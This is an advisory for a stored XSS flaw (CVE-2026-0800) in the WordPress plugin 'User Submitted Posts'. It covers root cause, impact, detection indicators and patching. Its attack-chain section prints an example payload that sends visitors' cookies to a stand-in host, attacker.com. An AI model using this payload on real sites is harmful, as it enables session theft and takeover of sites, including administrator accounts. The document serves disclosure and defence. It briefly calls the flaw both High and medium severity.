CVE-2026-0800: 
WordPress vulnerability analysis and mitigation

CVE-2026-0800 is a Stored Cross-Site Scripting (Stored XSS) vulnerability in the "User Submitted Posts – Enable Users to Submit Posts from the Front End" plugin for WordPress. It affects all versions up to and including version 20251210, and was disclosed on January 24, 2026, with Wordfence as the reporting CNA. The flaw allows unauthenticated attackers to inject arbitrary web scripts via custom fields, which execute in victims' browsers when they visit an affected page. It carries a CVSS v3.1 base score of 7.2 (High), assigned by Wordfence (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting), stemming from insufficient input sanitization and output escaping applied to custom fields submitted via the plugin's front-end post submission form. Because the plugin allows unauthenticated users to submit posts with custom field data, an attacker can craft a malicious submission containing JavaScript payloads that are stored in the WordPress database without proper sanitization. The payload is then rendered unsanitized in the browser of any user who views the affected page, triggering script execution in the context of that user's session. The attack vector is network-based, requires no privileges or user interaction from the attacker, and has a changed scope, meaning the impact crosses the security boundary of the originating application (Wordfence, Plugin Changeset).

Successful exploitation allows an unauthenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of authenticated users (including site administrators), defacement, or redirection to malicious sites. If an administrator's session is hijacked, the attacker could escalate to full site compromise, including installation of backdoors or malicious plugins (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been confirmed as of the available data. The EPSS score is approximately 0.098%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the unauthenticated nature of the attack and the widespread use of WordPress plugins make this an attractive target for opportunistic attackers (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the "User Submitted Posts" plugin (version ≤ 20251210) by searching for the plugin's front-end submission form, typically accessible without authentication.
2. Craft malicious payload: Prepare a Stored XSS payload to be injected into a custom field, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie;</script> or a more sophisticated payload targeting admin actions.
3. Submit malicious post: Use the plugin's front-end post submission form to submit a post with the XSS payload embedded in a custom field, requiring no authentication or special privileges.
4. Payload stored: The malicious script is saved to the WordPress database without sanitization due to the vulnerability.
5. Victim triggers execution: When any user (including a site administrator) visits the page containing the injected post, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf.
6. Escalate access: If an administrator's session token is captured, the attacker can use it to log into the WordPress admin panel and achieve full site compromise (Wordfence).

• Logs: WordPress access logs showing POST requests to the front-end post submission endpoint (e.g., wp-admin/admin-post.php or the plugin's custom submission URL) containing encoded script tags or JavaScript event handlers in custom field parameters.
• Database: Unexpected <script> tags, JavaScript URIs (javascript:), or HTML event attributes (e.g., onerror=, onload=) stored in WordPress post meta fields associated with the "User Submitted Posts" plugin.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with plugin-submitted posts, potentially indicating cookie or credential exfiltration.
• File System: Presence of newly created or modified PHP files in the WordPress plugins or uploads directory that were not part of a legitimate update, potentially indicating post-exploitation backdoor installation.

Users should update the "User Submitted Posts – Enable Users to Submit Posts from the Front End" plugin to a version released after 20251210, which includes the fix for insufficient input sanitization and output escaping (see the plugin changeset for details). If an immediate update is not possible, site administrators should consider disabling the plugin or restricting front-end post submission to authenticated users only as a temporary workaround. Additionally, deploying a Web Application Firewall (WAF) such as Wordfence can help detect and block XSS exploitation attempts (Plugin Changeset, Wordfence).

Wordfence published the vulnerability in their weekly WordPress vulnerability report for January 19–25, 2026, and included it in their threat intelligence database (Wordfence Blog). RedPacket Security and several CVE aggregator platforms (VulDB, Vulners, CVEFeed) picked up the disclosure shortly after publication. A Medium blog post by a security researcher provided a technical write-up on the unauthenticated stored XSS issue. Community reaction has been moderate, consistent with a medium-severity WordPress plugin vulnerability, with no major media coverage or significant threat actor attribution noted.